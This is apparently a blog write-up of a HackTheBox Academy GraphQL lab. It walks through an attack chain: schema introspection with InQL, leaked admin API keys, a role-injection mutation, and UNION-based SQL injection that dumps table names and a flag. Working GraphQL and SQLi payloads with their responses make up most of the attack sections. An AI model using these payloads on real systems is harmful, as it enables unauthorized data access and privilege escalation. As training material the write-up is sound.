Post

Attacking GraphQL Skills Assessment — HackTheBox Academy

Attacking GraphQL Skills Assessment — HackTheBox Academy

Module: Attacking GraphQL | Platform: HackTheBox Academy
Key Vulnerabilities: Unrestricted introspection, exposed API keys, insecure mutation (role injection), SQL injection via GraphQL argument
Author: jkonpc | March 20, 2026


Executive Summary

The Attacking GraphQL Skills Assessment presents a web application with a GraphQL API endpoint. The intended attack chain combines multiple vulnerability classes taught across the module: information disclosure via introspection, privilege escalation via insecure mutations, and SQL injection through a query argument protected by an API key.

The approach was systematic. InQL mapped the entire schema automatically — every query, mutation, type, and argument. The activeApiKeys query was publicly accessible and returned an admin API key in plaintext. That key unlocked the allCustomers and customerByName queries, which required authentication. The customerByName query’s lastName argument was vulnerable to SQL injection. A UNION-based injection against the underlying MariaDB database revealed a flag table not exposed through the GraphQL schema, and the flag was exfiltrated in a single query.

Along the way, the addEmployee mutation accepted an arbitrary role value, confirming that privilege escalation via mutation was possible — though the actual flag required SQLi, not elevated access.

PropertyValue
Target IP154.57.164.75:31461
Endpoint/graphql
FlagHTB{redacted}

Attack Chain Overview

  1. Schema Mapping — InQL auto-generates all queries and mutations from introspection
  2. Information DisclosureactiveApiKeys leaks admin API key with no authentication
  3. Employee EnumerationallEmployees reveals usernames, roles, and relay IDs
  4. Privilege EscalationaddEmployee mutation accepts arbitrary role value (manager)
  5. Authenticated QueriesallCustomers and customerByName require the admin API key
  6. SQL InjectioncustomerByName lastName argument is injectable (MariaDB)
  7. Database Enumeration — UNION SQLi reveals flag table not exposed via GraphQL
  8. Flag Exfiltration — UNION SQLi pulls the flag from the hidden table

Phase 1: Schema Mapping with InQL

Endpoint Discovery

Navigating to the target presents a web application. Proxying traffic and exploring functionality reveals GraphQL requests hitting /graphql. Navigating directly to http://154.57.164.75:31461/graphql confirms the endpoint is live.

InQL Scan

I added the target to InQL in Burp and ran the scanner. InQL performs introspection automatically and generates ready-to-use queries for everything the API exposes. The results:

Queries: activeApiKeys, allCustomers, allEmployees, allProducts, customerByName, employeeByUsername, node, productByName

Mutations: addCustomer, addEmployee, addProduct

Points of Interest (flagged by InQL):

  • authrole fields on both queries and mutations
  • pii — sensitive data fields detected

InQL essentially did the full recon phase in one click. Every query with its arguments, every mutation with its input types, and every field on every type — all mapped and ready to send.


Phase 2: Information Disclosure — API Keys

Dumping Active API Keys

InQL generated the query for activeApiKeys with all available fields. I sent it directly:

1
{"query":"{ activeApiKeys { key, role } }"}

Response:

1
2
3
4
5
6
7
8
9
{
  "data": {
    "activeApiKeys": [
      {"key": "fbb64ce26fbe8a8d8d6895b8e6ba21a3", "role": "guest"},
      {"key": "9cf8622bbc9fdc78f245663e08e5b4c1", "role": "guest"},
      {"key": "0711a879ed751e63330a78a4b195bbad", "role": "admin"}
    ]
  }
}

An admin API key sitting in a publicly accessible query with no authentication. Noted 0711a879ed751e63330a78a4b195bbad for later use.


Phase 3: Employee Enumeration

Dumping All Employees

1
{"query":"{ allEmployees { id username employeeId role } }"}

Response:

1
2
3
4
5
6
7
8
9
{
  "data": {
    "allEmployees": [
      {"id": "RW1wbG95ZWVPYmplY3Q6MQ==", "username": "vautia", "employeeId": 1337, "role": "employee"},
      {"id": "RW1wbG95ZWVPYmplY3Q6Mg==", "username": "pedant", "employeeId": 1338, "role": "employee"},
      {"id": "RW1wbG95ZWVPYmplY3Q6Mw==", "username": "21y4d", "employeeId": 1339, "role": "manager"}
    ]
  }
}

Two roles exist: employee and manager. The id fields are base64-encoded relay IDs:

1
2
echo -n 'RW1wbG95ZWVPYmplY3Q6Mw==' | base64 -d
# EmployeeObject:3

These are auto-generated by the backend — the format is TypeName:DatabaseID.


Phase 4: Privilege Escalation via Mutation

Inspecting the addEmployee Mutation

InQL showed the addEmployee mutation accepts AddEmployeeInput with three fields: username (String), employeeId (Int), and role (String). The role field is user-controlled — same vulnerability pattern as registerUser from the module.

Creating a Manager Account

1
{"query":"mutation { addEmployee(input: {username: \"jkonpc\", employeeId: 9999, role: \"manager\"}) { employee { id username employeeId role } } }"}

Response:

1
2
3
4
5
6
7
8
9
10
11
12
{
  "data": {
    "addEmployee": {
      "employee": {
        "id": "RW1wbG95ZWVPYmplY3Q6NA==",
        "username": "jkonpc",
        "employeeId": 9999,
        "role": "manager"
      }
    }
  }
}

Role manager reflected back — the mutation blindly accepts whatever role value is provided. Privilege escalation confirmed, though it wasn’t needed for the final flag.


Phase 5: Authenticated Queries

Discovering API Key Requirements

With the schema mapped, I tried pulling customer data:

1
{"query":"{ allCustomers { id firstName } }"}

Error:

1
Field "allCustomers" argument "apiKey" of type "String!" is required but not provided.

The allCustomers and customerByName queries require an API key. This is where the admin key from Phase 2 pays off.

Dumping All Customers

1
{"query":"{ allCustomers(apiKey: \"0711a879ed751e63330a78a4b195bbad\") { id firstName lastName address } }"}

Response returned three customers (Antony, Margaret, Billy) with their addresses. No flag in the visible data — the flag is in the database, not the GraphQL schema.


Phase 6: SQL Injection

Identifying the Injection Point

The customerByName query takes two string arguments: apiKey and lastName. String arguments are SQLi candidates. I tested lastName with a single quote:

1
{"query":"{ customerByName(apiKey: \"0711a879ed751e63330a78a4b195bbad\", lastName: \"'\") { id firstName lastName address } }"}

The response returned a full SQL error from MariaDB, including the backend query:

1
2
3
4
SELECT customer.id AS customer_id, customer.firstName AS customer_firstName,
       customer.lastName AS customer_lastName, customer.address AS customer_address
FROM customer
WHERE lastName='...' LIMIT 1

SQLi confirmed. The leaked query reveals 4 columns, and lastName maps to column 3.

Enumerating Tables

1
{"query":"{ customerByName(apiKey: \"0711a879ed751e63330a78a4b195bbad\", lastName: \"x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4 FROM information_schema.tables WHERE table_schema=database()-- -\") { lastName } }"}

Response:

1
{"data": {"customerByName": {"lastName": "api_key,employee,flag,product,customer"}}}

Five tables in the database. GraphQL only exposed employee, product, and customer through its schema. The api_key and flag tables are only reachable via SQLi — invisible to introspection.

Exfiltrating the Flag

1
{"query":"{ customerByName(apiKey: \"0711a879ed751e63330a78a4b195bbad\", lastName: \"x' UNION SELECT 1,2,GROUP_CONCAT(flag),4 FROM flag-- -\") { lastName } }"}

Response:

1
{"data": {"customerByName": {"lastName": "HTB{redacted}"}}}

Key Takeaways

  • InQL turns GraphQL recon from 10 minutes into 10 seconds. It runs introspection, maps every query/mutation/type/field, generates ready-to-send payloads, and flags sensitive fields like role and PII. If you’re testing GraphQL in Burp without InQL, you’re working harder than you need to.

  • Introspection is the map, not the treasure. The full schema dump told me everything the API could do, but the flag wasn’t in any GraphQL type or query. The flag table only existed in the database — unreachable without SQLi. Always enumerate the database via injection even after completing introspection. The database always has more than GraphQL shows.

  • Exposed API keys are a recon multiplier. The activeApiKeys query handed over an admin key with zero authentication. That single key unlocked the allCustomers and customerByName queries — without it, the SQLi injection point would have been inaccessible. Always dump everything that doesn’t require auth first.

  • Mutations that accept role inputs are almost always exploitable. The addEmployee mutation let me set role: "manager" with no validation. Same pattern as registerUser from the module sections. If a mutation input includes a role, permission, or access-level field, test it immediately.

  • The attack chain was non-linear. Information from each phase fed into the next: introspection revealed the API key query, the API key unlocked customer queries, customer queries had SQLi, SQLi reached the hidden flag table. No single vulnerability would have gotten the flag alone — it took chaining four different issues together.

  • JSON formatting in Burp Repeater will trip you up if you’re not careful. The GraphQL query must be a JSON string with escaped inner quotes (\"). GraphiQL handles this automatically, but in Burp you’re on your own. Having pre-formatted payloads ready to copy-paste saves time and prevents syntax errors that return misleading invalid JSON errors.


Tools Used

  • InQL (Burp extension) — Automated GraphQL introspection, query generation, and sensitive field detection. Did the heavy lifting for schema mapping.
  • Burp Suite — Request interception, Repeater for manual query testing and SQLi exploitation.
This post is licensed under CC BY 4.0 by the author.